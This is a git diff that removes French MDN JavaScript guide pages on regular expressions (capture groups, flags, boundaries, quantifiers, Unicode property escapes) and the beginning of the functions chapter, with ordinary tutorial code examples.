Les occurences de /d(b+)d/g dans les deux instructions sont des objets différents. Leurs propriétés lastIndex respectives ont donc des valeurs différentes. Quand il est nécessaire d'accéder aux propriétés d'un objet décrivant une expression rationnelle, il faudra d'abord l'affecter à une variable.

- -

Utiliser les correspondances de groupes avec les parenthèses

- -

Les parenthèses, utilisées dans un motif d'expression régulière, permettent de garder en mémoire un groupe (ou fragment) d'une correspondance. Ainsi, /a(b)c/ correspond aux caractères 'abc' et garde 'b' en mémoire. Pour récupérer ces fragments mémorisés, on peut utiliser les éléments du tableau array [1], ..., [n].

- -

Le nombre de fragments qu'il est possible de garder entre parenthèses n'est pas limité. Le tableau renvoyé contiendra tout ce qui aura été trouvé. Les exemples qui suivent montrent comment utiliser cette syntaxe.

- -

Le script qui suit utilise la méthode {{jsxref("String.replace", "replace()")}} pour échanger les mots d'une chaîne de caractères. Pour remplacer le texte, le script utilise $1 et $2 qui correspondent au premier et deuxième groupe correspondant.

- -
var re = /(\w+)\s(\w+)/;
-var str = "Titi toto";
-var newstr = str.replace(re, "$2, $1");
-console.log(newstr);
-
- -

Cela affichera "toto, Titi".

- -

Effectuer des recherches avancées en utilisant les marqueurs (flags)

- -

Les expressions rationnelles peuvent être utilisées avec des marqueurs optionnels permettant des recherches globales et/ou ne respectant pas la casse. Ces marqueurs peuvent être utilisés séparement ou ensemble, quel que soit l'ordre. Ils font partie de l'expression régulière.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Drapeaux utilisés avec les expressions régulières.
Drapeau (Flag)Description
gRecherche globale
iRecherche ne respectant pas la casse
mRecherche sur plusieurs lignes
sLe point peut correspondre aux caractères de saut de ligne.
uUnicode. Le motif de recherche est interprété comme une séquence de codets Unicode.
yEffectue une recherche qui « adhère », en partant de la position courante de la chaîne de caractères sur laquelle la recherche est effectuée. Voir la page sur {{jsxref("RegExp.sticky","sticky")}}.
- -

Pour utiliser un marqueur avec une expression régulière, on utilisera la syntaxe suivante :

- -
var re = /motif/marqueurs;
-
- -

ou

- -
var re = new RegExp("motif", "marqueurs");
-
- -

Les marqueurs font partie intégrante d'une expression régulière, ils ne peuvent pas être ajoutés ou supprimés ensuite.

- -

Ainsi, re = /\w+\s/g permet de créer une expression régulière pour trouver un ou plusieurs caractères suivis d'un espace, la recherche est effectuée globalement, sur toute la chaîne de caractères.

- -
var re = /\w+\s/g;
-var str = "un deux trois quatre";
-var monTableau = str.match(re);
-console.log(monTableau);
-
- -

Cela affichera ["un ", "deux ", "trois "]. On pourrait remplacer la ligne :

- -
var re = /\w+\s/g;
-
- -

avec la ligne :

- -
var re = new RegExp("\\w+\\s", "g");
-
- -

pour obtenir le même résultat.

- -

Le comportement du marqueur 'g' est différent selon qu'il est utilisé avec exec() ou avec match(). Pour match(), c'est la chaîne de caractères qui invoque la méthode et l'expression rationnelle est alors un argument. Pour exec(), c'est l'expression rationnelle qui invoque la méthode et c'est la chaîne de caractères qui est passée en argument. Dans l'appel à exec(), le marqueur 'g' permet d'avoir une progression itérative.

- -

Le marqueur m pourra être utilisé pour traiter une chaîne de caractères de plusieurs lignes comme plusieurs lignes distinctes. Si ce marqueur est utilisé, les caractères spéciaux ^ et $ correspondront au début ou à la fin de n'importe quelle ligne appartenant à la chaîne de caractères au lieu de correspondre simplement au début ou à la fin de la chaîne.

- -

Exemples

- -

Les exemples qui suivent utilisent les expressions régulières dans différents cas.

- -

Changer l'ordre d'une saisie

- -

L'exemple qui suit utilise les expressions régulières et string.split() et string.replace(). Le script nettoie la chaîne de caractères saisie qui contient des noms (prénom puis nom) séparés par des blancs, tabulations et points-virgules. Enfin il inverse les noms et prénoms puis trie la liste.

- -
// La chaîne des noms contient plusieurs blancs et tabulations,
-// il peut y avoir plusieurs espaces entre le nom et le prénom.
-var noms = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand ";
-
-var output = ["---------- Chaîne originale\n", noms + "\n"];
-
-// Préparer deux expressions régulières pour stocker un tableau.
-// et découper les chaînes dans ce tableau.
-
-// motif: on peut avoir des blancs, un point virgule puis d'autres blancs
-var motif = /\s*;\s*/;
-
-// Découper la chaîne de caractères en morceaux séparés par le précédent motif
-// Stocker ces morceaux dans un tableau listeNoms
-var listeNoms = noms.split(motif);
-
-// nouveau motif : un ou plusieurs caractères, des blancs puis des caractères.
-// On utilise des parenthèses pour garder en mémoire les groupes du motif.
-// On utilisera ces groupes par la suite.
-motif = /(\w+)\s+(\w+)/;
-
-// Nouveau tableau pour enregistrer les noms traités.
-var listeParNomFamille = [];
-
-// Afficher le tableau des noms et remplir le nouveau tableau
-// avec les noms et prénoms séparés par des virgules, le nom
-// de famille étant écrit en premier
-//
-// La méthode replace supprime tout ce qui correspond au motif
-// et le remplace par le nom (mémorisé), une virgule, un espace
-// et le prénom (mémorisé).
-//
-// Les variables $1 et $2 font références aux fragments gardés
-// en mémoire lors de l'utilisation du motif.
-
-output.push("---------- Après découpage avec l'expression régulière");
-
-var i, len;
-for (i = 0, len = listeNoms.length; i < len; i++){
-  output.push(listeNoms[i]);
-  listeParNomFamille[i] = listeNoms[i].replace(motif, "$2, $1");
-}
-
-// Afficher le nouveau tableau
-output.push("---------- Noms et prénoms inversés");
-for (i = 0, len = listeParNomFamille.length; i < len; i++){
-  output.push(listeParNomFamille[i]);
-}
-
-// Trier par le nom de famille puis afficher le tableau trié
-listeParNomFamille.sort();
-output.push("---------- Triée");
-for (i = 0, len = listeParNomFamille.length; i < len; i++){
-  output.push(listeParNomFamille[i]);
-}
-
-output.push("---------- Fin");
-
-console.log(output.join("\n"));
-
- -

Utiliser les caractères spéciaux pour vérifier la saisie

- -

Dans l'exemple suivant, on s'attend à ce que l'utilisateur saisissent un numéro de téléphone. Quand l'utilisateur appuie sur le bouton "Vérifier", le script vérifie la validité du numéro. Si le numéro est valide (il correspond à la séquence de caractères fournie par l'expression régulière), le script affiche un message remerciant l'utilisateur et confirmant le numéro. S'il est invalide, le script informe l'utilisateur et lui signifie que les informations saisies ne sont pas valides.

- -

Dans les parenthèses sans mémoire (?: , l'expression régulière cherche les deux premiers chiffres ou l'indicatif du pays suivi d'un blanc et du premier chiffre, ce qui correspond à

- -
\d{2}|\+\d{2}[ ]\d
- -

Cette partie signifie : deux chiffres OU un signe '+' suivi de deux chiffres, un blanc et un autre chiffre.

- -

Ensuite, on a un groupe qui est mémorisé (entre parenthèses) :

- -
([- ])
- -

Ce groupe correspond à ce qui va être utilisé pour séparer les différentes composantes du numéro de téléphone.

- -

Ensuite,

- -
\d{2}\1
- -

signifie qu'on a deux chiffres suivi du premier groupe qui est celui qui définit le séparateur. Le reste est composé de la même façon. Ainsi les numéros de téléphone +33 1 23 45 67 89 et 01 23 45 67 89 seront tous les deux valides.

- -

L'événement Change, provoqué quand l'utilisateur appuie sur Entrée, renseigne la valeur RegExp.input.

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
-    <meta http-equiv="Content-Script-Type" content="text/javascript">
-    <script type="text/javascript">
-      var re = /(?:\d{2}|\+\d{2}[ ]\d)([- ])\d{2}\1\d{2}\1\d{2}\1\d{2}/;
-      function testInfo(phoneInput){
-        var OK = re.exec(phoneInput.value);
-        if (!OK)
-          window.alert(phone.input + " n'est pas un numéro de téléphone valide!");
-        else
-          window.alert("Merci, votre numéro est : " + OK[0]);
-      }
-    </script>
-  </head>
-  <body>
-    <p>Saisissez votre numéro de téléphone (avec indicatif) puis cliquez sur "Vérifier".
-        <br>Le format attendu est ## ## ## ## ## ou +## # ## ## ## ##.</p>
-    <form action="#">
-      <input id="phone"><button onclick="testInfo(document.getElementById('phone'));">Vérifier</button>
-    </form>
-  </body>
-</html>
-
- -

{{PreviousNext("Web/JavaScript/Guide/Formatage_du_texte", "Web/JavaScript/Guide/Collections_indexées")}}

diff --git "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/limites/index.html" "b/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/limites/index.html" deleted file mode 100644 index f56d56a399..0000000000 --- "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/limites/index.html" +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Limites -slug: Web/JavaScript/Guide/Expressions_régulières/Limites -tags: - - Guide - - JavaScript - - Limites - - RegExp -translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions -translation_of_original: Web/JavaScript/Guide/Regular_Expressions/Boundaries ---- -

{{jsSidebar("JavaScript Guide")}}{{draft}}

- -

Les limites permettent d'indiquer les débuts et fins des lignes et des mots.

- -

Types

- - - - - - - - - - - - - - - - - - - - - - - - - - -
CaractèresSignification
^ -

Correspond au début la séquence. Si le marqueur (flag) de lignes multiples vaut true, il correspondra également immédiatement après un caractère de saut de ligne.
-
- Ainsi, /^A/ ne correspond pas au 'A' de "un A", mais correspond au 'A' de "Arceau".
-
- Le caractère '^' possède un sens différent lorsqu'il est utilisé dans un motif d'ensemble de caractères. Voir les compléments sur les ensembles de caractères pour plus de détails et d'exemples.

-
$ -

Correspond à la fin de la séquence. Si le marqueur (flag) de lignes multiples vaut true, il correspondra également immédiatement avant un caractère de saut de ligne.

- -

Ainsi, /t$/ ne correspond pas au 't' de "printemps", mais correspond au 't' de "aliment".

-
\b -

Correspond à la position d'uneAfter the  limite de mot. Une limite de mot correspond à la position où un caractère d'un mot n'est pas suivi ou précédé d'un autre caractère de mot. Il faut savoir que la limite correspondante n'est pas incluse dans le résultat. Autrement dit, la longueur d'une telle correspondance est nulle. (À ne pas confondre avec [\b].)

- -

Exemples :
- /\bm/ correspond au 'm' dans "mignon" ;
- /no\b/ ne correspond pas au  'no' de "mignon" car 'no' est suivi de 'n' qui n'est pas un caractère de limite de mot;
- /non\b/ correspond au 'non' de "mignon" car 'non' représente la fin de la chaîne de caractère et n'est donc pas suivi par un caractère de mot.
- /\w\b\w/ ne correspondra jamais à quoi que ce soit car un caractère de mot ne peut pas être suivi à la fois par un caractère de mot et un caractère n'étant pas un caractère de mot.

- -
-

Note : Le moteur d'expressions rationnelles JavaScript définit un ensemble de caractères spécifiques qui doivent être considérés comme des caractères de mot. Tout caractère qui n'est pas dans cet ensemble est considéré comme une limite de mot. Cet ensemble de caractères est relativement limité car constitué uniquement des caractères de l'alphabet romain en minuscules et en majuscules, des chiffres décimaux et du tiret-bas (underscore). Les autres caractères, comme les caractères accentués (é ou ü par exemple), sont donc considérés comme des limites de mots.

-
-
\B -

Correspond à une "non-limite de mot". Cela correspond pour les cas suivants :

- -
    -
  • Avant le premier caractère d'une chaîne de caractères
    • -
  • Après le dernier caractère d'une chaîne de caractères
    • -
  • Entre deux caractères de mot
    • -
  • Entre deux caractères qui ne sont pas des caractères de mot
    • -
  • Avec la chaîne vide.
    • -
- -

Ainsi, /\B../ correspond au 'oo' de "football" (et /e\B./ correspond au 'er' dans "une mer "

-
- -

Exemples

- -

Cibler le début d'un champ grâce au caractère de contrôle ^

- -

On utilisera le caractère spécial ^ afin de cibler le début d'un mot. Dans cet exemple, on filtre les fruits qui commencent par A grâce à l'expression rationnelle /^A/.

- -
let fruits = ["Ananas", "Melon", "Orange", "Abricot", "Pomme"];
-
-let fruitsDebutantParA = fruits.filter(fruit => /^A/.test(fruit));
-console.table(fruitsDebutantsParA); // [ 'Ananas', 'Abricot' ]
- -

Dans ce deuxième exemple, on utilise ^ à la fois pour indiquer le début du mot et pour indiquer un groupe complémentaire pour ne sélectionner que les fruits dont le nom ne commence pas par A.

- -
let fruits = ["Ananas", "Melon", "Orange", "Abricot", "Pomme"];
-
-let fruitsNeDebutantPasParA = fruits.filter(fruit => /^[^A]/.test(fruit));
-console.table(fruitsNeDebutantPasParA); // [ 'Melon', 'Orange', 'Pomme' ]]
-
diff --git "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/quantificateurs/index.html" "b/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/quantificateurs/index.html" deleted file mode 100644 index 75137ff14d..0000000000 --- "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/quantificateurs/index.html" +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Quantificateurs -slug: Web/JavaScript/Guide/Expressions_régulières/Quantificateurs -tags: - - Guide - - JavaScript - - Quantificateurs - - RegExp -translation_of: Web/JavaScript/Guide/Regular_Expressions/Quantifiers ---- -

{{jsSidebar("JavaScript Guide")}}{{draft}}

- -

Les quantificateurs indiquent le nombre de caractères ou d'expressions qu'il faut pour une correspondance.

- -

Types

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CaractèresSignification
x* -

Correspond à l'expression précédente qui est répétée 0 ou plusieurs fois. Équivalent à {0,}

- -

Ainsi, /bo*/ correspond à 'boo' dans "Un booléen" et à 'b' dans "Un bateau bleu", mais ne correspond à rien dans "Ce matin".

-
x+ -

Correspond à l'expression précédente qui est répétée une ou plusieurs fois. C'est équivalent à {1,}.

- -

Ainsi, /a+/ correspond au 'a' dans "maison" et à tous les 'a' dans "maaaaaaison" mais ne correspond à rien dans "mission".

-
x? -

Correspond à l'expression précédente qui est présente une fois ou pas du tout. C'est équivalent à {0,1}.
-
- Ainsi, /e?le?/ correspond au 'el' dans "gel" et au 'le' dans "angle" mais aussi au 'l' dans "Oslo".
-
- S'il est utilisé immédiatement après l'un des quantificateurs : *, +, ?, ou {}, il rend le quantificateur moins « gourmand » auquel cas le moins de caractères correspond (le comportement par défaut, « gourmand », permettant de faire correspondre le plus de caractères possible). Par exemple /\d+/ utilisée avec "123abc" fait correspondre "123". Utiliser /\d+?/ à la même chaîne de caractères fait correspondre "1".
-
- Ce symbole est également utilisé dans les tests de présence autour de l'expression, décrits par les lignes x(?=y) et x(?!y) de ce tableau.

-
x{n} -

Correspond pour exactement n occurences de l'expression précédente. N doit être un entier positif.
-
- Ainsi, /a{2}/ ne correspond pas au 'a' de "Mozilla" mais correspond à tous les 'a' de "Mozilaa" et aux deux premiers 'a' de "Mozillaaa".

-
x{n,} -

Correspond lorsqu'il y a au moins n occurences de l'expression précédente. n doit être un entier positif.

- -

Par exemple /a{2,}/ correspondra à "aa" ou à "aaa" ou encore à "aaaa" mais pas à "a".

-
x{n,m} -

Lorsque n et m sont des entiers positifs, cela correspond à au moins n occurences de l'expression précédente et à au plus m occurrences. Lorsque m n'est pas utilisé, la valeur par défaut correspondante sera l'infini.

- -

Ainsi, /a{1,3}/ ne correspond à rien dans "Mozill", au 'a' de "Mozilla", au deux premiers 'a' de "Mozillaa" et au trois premiers 'a' de "Mozillaaaaa". Pour ce dernier exemple, on doit noter que le correspondance ne se fait que sur "aaa" bien qu'il y ait plus de 'a' dans la chaîne de caractères.

-
-

x*?
- x+?
- x??
- x{n}?
- x{n,}?
- x{n,m}?

- 		-

Correspond à l'expression précédente qui est présente une fois ou pas du tout. C'est équivalent à {0,1}.
-
- Ainsi, /e?le?/ correspond au 'el' dans "gel" et au 'le' dans "angle" mais aussi au 'l' dans "Oslo".
-
- S'il est utilisé immédiatement après l'un des quantificateurs : *, +, ?, ou {}, il rend le quantificateur moins « gourmand » auquel cas le moins de caractères correspond (le comportement par défaut, « gourmand », permettant de faire correspondre le plus de caractères possible). Par exemple /\d+/ utilisée avec "123abc" fait correspondre "123". Utiliser /\d+?/ à la même chaîne de caractères fait correspondre "1".
-
- Ce symbole est également utilisé dans les tests de présence autour de l'expression, décrits par les lignes x(?=y) et x(?!y) de ce tableau.

-
diff --git "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/\303\251chappement_propri\303\251t\303\251s_unicode/index.html" "b/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/\303\251chappement_propri\303\251t\303\251s_unicode/index.html" deleted file mode 100644 index df05a95dda..0000000000 --- "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/\303\251chappement_propri\303\251t\303\251s_unicode/index.html" +++ /dev/null @@ -1,430 +0,0 @@ ---- -title: Échappement des propriétés Unicode -slug: Web/JavaScript/Guide/Expressions_régulières/Échappement_propriétés_Unicode -tags: - - Expressions rationnelles - - Expressions régulières - - Guide - - JavaScript - - regex -translation_of: Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes ---- -

{{jsSidebar("JavaScript Guide")}}{{draft}}

- -

Les séquences d'échappement pour les propriétés Unicode permettent de distinguer les caractères Unicodes en fonction de leurs propriétés : majuscules, minuscules, symboles mathématiques, ponctuation, etc.

- -

Syntaxe

- -
// Valeurs non-binaires
-\p{UnicodePropertyName=ValeurPropriétéUnicode}
-\p{UnicodePropertyName}
-
-// Valeurs binaires et non-binaires
-\p{UnicodePropertyName}
-
- -
-
ValeurPropriétéUnicode
-
Une des valeurs listées ci-après. Pour certaines valeurs, le mot-clé NomPropriétéUnicode et le signe égal peuvent être omis.
-
- -

Valeurs

- -

Non-binaires

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ÉchappementsSignification
\p{LC}
- \p{Cased_Letter}
- \p{UnicodePropertyName=Cased_Letter}		N'importe quelle lettre avec la version minuscule et la version majuscule. Équivalent à \p{Lu}|\p{Ll}|p{Lt}.
\p{Close_Punctuation}
- \p{UnicodePropertyName=Close_Punctuation}
\p{Connector_Punctuation}
- \p{UnicodePropertyName=Connector_Punctuation}
\p{Control}
- \p{UnicodePropertyName=Control}
\p{Currency_Symbol}
- \p{UnicodePropertyName=Currency_Symbol}
\p{Dash_Punctuation}
- \p{UnicodePropertyName=Dash_Punctuation}
\p{Decimal_Number}
- \p{UnicodePropertyName=Decimal_Number}
\p{Enclosing_Mark}
- \p{UnicodePropertyName=Enclosing_Mark}
\p{Final_Punctuation}
- ​​​​​​​\p{UnicodePropertyName=Final_Punctuation}
\p{Format}
- ​​​​​​​\p{UnicodePropertyName=Format}
\p{Initial_Punctuation}
- ​​​​​​​\p{UnicodePropertyName=Initial_Punctuation}
\p{Letter}
- ​​​​​​​\p{UnicodePropertyName=Letter}
\p{Letter_Number}
- ​​​​​​​\p{UnicodePropertyName=Line_Separator}
\p{Lowercase_Letter}
- ​​​​​​​\p{UnicodePropertyName=Lowercase_Letter}
\p{Mark}
- ​​​​​​​\p{UnicodePropertyName=Mark}
\p{Math_Symbol;}
- ​​​​​​​\p{UnicodePropertyName=Math_Symbol}
\p{Modifier_Letter}
- ​​​​​​​\p{UnicodePropertyName=Modifier_Letter}
\p{Modifier_Symbol}
- ​​​​​​​\p{UnicodePropertyName=Modifier_Symbol}
\p{Nonspacing_Mark}
- ​​​​​​​\p{UnicodePropertyName=Nonspacing_Mark}
\p{Number}
- ​​​​​​​\p{UnicodePropertyName=Number}
\p{Open_Punctuation}
- ​​​​​​​\p{UnicodePropertyName=Open_Punctuation}
\p{Other}
- ​​​​​​​\p{UnicodePropertyName=Other_Letter}
\p{Other_Letter}
- ​​​​​​​\p{UnicodePropertyName=Other_Letter}
\p{Other_Number}
- ​​​​​​​\p{UnicodePropertyName=Other_Number}
\p{Other_Punctuation}
- ​​​​​​​\p{UnicodePropertyName=Other_Punctuation}
\p{Paragraph_Separator}
- ​​​​​​​\p{UnicodePropertyName=Paragraph_Separator}
\p{Private_Use}Meaning
- ​​​​​​​\p{UnicodePropertyName=Private_Use}
\p{Punctuation}
- ​​​​​​​\p{UnicodePropertyName=Punctuation}
\p{Separator}
- ​​​​​​​\p{UnicodePropertyName=Separator}
\p{Space_Separator}
- ​​​​​​​\p{UnicodePropertyName=Space_Separator}
\p{Spaceing_Mark}
- ​​​​​​​\p{UnicodePropertyName=Spacing_Mark}
\p{Surrogate}
- ​​​​​​​\p{UnicodePropertyName=Surrogate}
\p{Symbol}
- ​​​​​​​\p{UnicodePropertyName=Symbol}
\p{Titlecase_Letter}
- ​​​​​​​\p{UnicodePropertyName=Titlecase_Letter}
\p{Unassigned}
- ​​​​​​​\p{UnicodePropertyName=Unassigned}
\p{Uppercase_Letter}
- ​​​​​​​\p{UnicodePropertyName=UppercaseLetter}
- -

Binaires

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ÉchappementSignification
\p{Alphabetic}
\p{Bidi_Control}
\p{Bidi_Mirrored}
\p{Case_Ignorable}
\p{Cased}
\p{Changes_When_Casefolded}
\p{Changes_When_Casemapped}
\p{Changes_When_Lowercased}
\p{Changes_When_NFKC_Casefolded}
\p{Changes_When_Titlecased}
\p{Changes_When_Uppercased}
\p{Dash}
\p{Default_Ignorable_Code_Point}
\p{Deprecated}
\p{Diacritic}
\p{Emoji}
\p{Emoji_Component}
\p{Emoji_Modifier}
\p{Emoji_Modifier_Base}
\p{Emoji_Presentation}
\p{Extender}
\p{Grapheme_Base}
\p{Grapheme_Extend}
\p{Hex_Digit}
\p{ID_Continue}
\p{ID_Start}
\p{Ideographic}
\p{IDS_Binary_Operator}
\p{IDS_Trinary_Operator}
\p{Join_Control}
\p{Logical_Order_Exception}
\p{Lowercase}
\p{Math}
\p{Noncharacter_Code_Point}
\p{Pattern_Syntax}
\p{Pattern_White_Space}
\p{Quotation_Mark}
\p{Radical}
\p{RegionalIndicator}
\p{Sentence_Terminal}
\p{Soft_Dotted}
\p{Terminal_Punctuation}
\p{Unified_Ideograph}
\p{Uppercase}
\p{Variation_Selector}
\p{White_Space}
\p{XID_Continue}
\p{XID_Start}
diff --git a/files/fr/web/javascript/guide/fonctions/index.html b/files/fr/web/javascript/guide/fonctions/index.html deleted file mode 100644 index 68c87566ff..0000000000 --- a/files/fr/web/javascript/guide/fonctions/index.html +++ /dev/null @@ -1,670 +0,0 @@ ---- -title: Fonctions -slug: Web/JavaScript/Guide/Fonctions -tags: - - Débutant - - Functions - - Guide - - JavaScript -translation_of: Web/JavaScript/Guide/Functions ---- -

{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Boucles_et_it%C3%A9ration", "Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs")}}

- -

Les fonctions font partie des briques fondamentales de JavaScript. Une fonction est une procédure JavaScript, un ensemble d'instructions effectuant une tâche ou calculant une valeur. Afin d'utiliser une fonction, il est nécessaire de l'avoir auparavant définie au sein de la portée dans laquelle on souhaite l'appeler.

- -

On pourra également lire le chapitre de la référence JavaScript sur les fonctions pour étudier plus en détails ce concept

- -

Définir des fonctions

- -

Les déclarations de fonctions

- -

Une définition de fonction (aussi appelée déclaration de fonction ou instruction de fonction) est construite avec le mot-clé function, suivi par :

- -
    -
  • Le nom de la fonction.
    • -
  • Une liste d'arguments à passer à la fonction, entre parenthèses et séparés par des virgules.
    • -
  • Les instructions JavaScript définissant la fonction, entre accolades, { }.
    • -
- -

Le code suivant, par exemple, définit une fonction intitulée carré :

- -
function carré(nombre) {
-  return nombre * nombre;
-}
-
- -

La fonction carré prend un seul argument, appelé nombre. La fonction est composée d'une seule instruction qui renvoie l'argument de la fonction (nombre) multiplié par lui-même. L'instruction return spécifie la valeur qui est renvoyée par la fonction.

- -
return nombre * nombre;
-
- -

Les paramètres primitifs (comme les nombres) sont passés à la fonction par valeur. La valeur est passée à la fonction mais si cette dernière change la valeur du paramètre, cela n'aura pas d'impact au niveau global ou au niveau de ce qui a appelé la fonction.

- -

Si l'argument passé à la fonction est un objet (une valeur non-primitive, comme un objet {{jsxref("Array")}} ou un objet défini par l'utilisateur), et que la fonction change les propriétés de cet objet, ces changements seront visibles en dehors de la fonction. Par exemple :

- -
function maFonction(monObjet) {
-  monObjet.fabricant = "Toyota";
-}
-
-var mavoiture = {fabricant: "Honda", modèle: "Accord", année: 1998};
-var x, y;
-
-x = mavoiture.fabricant;     // x aura la valeur "Honda"
-
-maFonction(mavoiture);
-y = mavoiture.fabricant; // y aura la valeur "Toyota"
-                         // (la propriété fabricant a été modifiée par la fonction)
-
- -
-

Note : Affecter un nouvel objet au paramètre n'aura pas d'effet en dehors de la fonction car cela revient à changer la valeur du paramètre plutôt que la valeur d'une des propriétés de l'objet. Par exemple :

-
- -
function maFonction(monObjet) {
-  monObjet = {fabricant: "Ford", modèle: "Focus", année: 2006};
-}
-
-var mavoiture = {fabricant: "Honda", modèle: "Accord", année: 1998};
-var x, y;
-
-x = mavoiture.fabricant;     // x reçoit la valeur "Honda"
-
-maFonction(mavoiture);
-y = mavoiture.fabricant;     // y reçoit la valeur "Honda"
-
- -

Dans le premier exemple, l'objet mavoiture était passé à la fonction maFonction qui le modifiait. Dans le second exemple, la fonction n'a pas modifié l'objet qui avait été passé en argument, elle a créé une nouvelle variable locale, possédant le même nom que l'objet global passé en argument : il n'y a donc pas de modifications sur cet objet global.

- -

Les expressions de fonction

- -

Syntaxiquement, la déclaration de fonction utilisée ci-dessus est une instruction. On peut également créer une fonction grâce à une expression de fonction. De telles fonctions peuvent être anonymes (ne pas avoir de nom correspondant). La fonction carré aurait pu être définie de la façon suivante :

- -
var carré = function (nombre) { return nombre * nombre };
-var x = carré(4); //x reçoit la valeur 16
- -

Cependant, un nom peut être utilisé dans une expression de fonction, ce afin de l'utiliser dans la fonction (récursivité) ou afin de l'identifier dans les appels tracés par un éventuel débogueur :

- -
var factorielle = function fac(n) { return n < 2 ? 1 : n * fac(n - 1) };
-
-console.log(factorielle(3));
-
- -

Les expressions de fonction sont pratiques lorsqu'il s'agit de passer une fonction comme argument d'une autre fonction. Dans l'exemple qui suit, la fonction map est définie et appelée avec une fonction anonyme comme premier argument :

- -
function map(f, a) {
-  var resultat = []; // Créer un nouveau tableau Array
-  for (var i = 0; i != a.length; i++)
-    resultat[i] = f(a[i]);
-  return resultat;
-}
-
- -

Le code suivant applique la fonction cube sur chacun des éléments du tableau :

- -
var cube = function(x) { return x * x * x}; // Une expression de fonction
-map(cube, [0, 1, 2, 5, 10]);
-
- -

Le résultat de la dernière instruction est le tableau [0, 1, 8, 125, 1000].

- -

En JavaScript, une fonction peut être définie selon une condition. Le fragment de code qui suit définit une fonction seulement si num vaut 0 :

- -
var maFonction;
-if (num === 0){
-  maFonction = function(monObjet) {
-    monObjet.fabricant = "Toyota"
-  }
-}
- -

Une autre façon de définir des fonctions est d'utiliser le constructeur de l'objet {{jsxref("Function")}} afin de créer des fonctions à partir d'une chaîne lors de l'exécution, de la même façon que {{jsxref("Objets_globaux/eval", "eval()")}}.

- -

Une méthode est une fonction étant une propriété d'un objet. Vous trouverez plus de détails sur ces éléments dans le chapitre suivant du guide : Utiliser les objets.

- -

Appeler des fonctions

- -

La seule définition d'une fonction ne permet pas d'exécuter la fonction. Cela permet de lui donner un nom et de définir ce qui doit être fait lorsque la fonction est appelée. Appeler la fonction permet d'effectuer les actions des instructions avec les paramètres indiqués. Par exemple, si on définit la fonction carré, on peut l'appeler de la façon suivante :

- -
carré(5);
-
- -

Cette instruction appellera la fonction avec un argument valant 5. La fonction exécute ses instructions et renvoie la valeur 25.

- -

Les fonctions doivent appartenir à la portée dans laquelle elles sont appelées. En revanche, la déclaration d'une fonction peut être faite après l'appel :

- -
console.log(carré(5));
-/* ... */
-function carré(n) { return n*n }
-
- -

La portée d'une fonction est la fonction dans laquelle elle est déclarée ou le programme entier si elle est déclarée au niveau le plus haut.

- -
-

Note : Cela ne fonctionne que si la définition de la fonction utilise la syntaxe précédente (function nomFonction(){}). Le code ci-dessous ne fonctionnera pas :

-
- -
console.log(carré); // La fonction carré est remontée/hoisted mais vaut undefined
-console.log(carré(5)); // TypeError: carré is not a function
-var carré = function (n) {
-  return n * n;
-}
-
-// Et avec let...
-
-console.log(carré2); // ReferenceError: carré2 is not defined
-console.log(carré2(5)); // TypeError: carré2 is not a function
-
-let carré2 = function (n) {
-  return n * n;
-}
-
- -

Les arguments d'une fonction ne sont pas limités aux chaînes de caractères et aux nombres. Il est possible de passer des objets. La fonction show_props (définie dans le chapitre sur l'utilisation des objets) est un exemple de fonction utilisant un argument qui est un objet.

- -

Une fonction peut être récursive, c'est-à-dire qu'elle peut s'appeler elle-même. Voici la fonction qui calcule récursivement la factorielle d'un nombre :

- -
function factorielle(n){
-  if ((n === 0) || (n === 1))
-    return 1;
-  else
-    return (n * factorielle(n - 1));
-}
-
- -

On peut ensuite calculer les factorielles des nombres 1 à 5 :

- -
var a, b, c, d, e;
-a = factorielle(1); // a reçoit la valeur 1
-b = factorielle(2); // b reçoit la valeur 2
-c = factorielle(3); // c reçoit la valeur 6
-d = factorielle(4); // d reçoit la valeur 24
-e = factorielle(5); // e reçoit la valeur 120
-
- -

Il existe d'autres façons d'appeler des fonctions. Il existe souvent des cas où une fonction doit être appelée dynamiquement, où le nombre d'arguments peut varier, où le contexte de l'appel d'une fonction doit être créé en fonction d'un objet déterminé lors de l'exécution. Les fonctions sont des objets, en tant que tels, elles possèdent des méthodes (voir la page sur l'objet {{jsxref("Function")}}). L'une d'entre elles, {{jsxref("Function.apply","apply()")}} peut être utilisée pour réaliser le dernier cas de figure (exécution d'une fonction avec un objet déterminé à l'exécution).

- -

Portée d'une fonction

- -

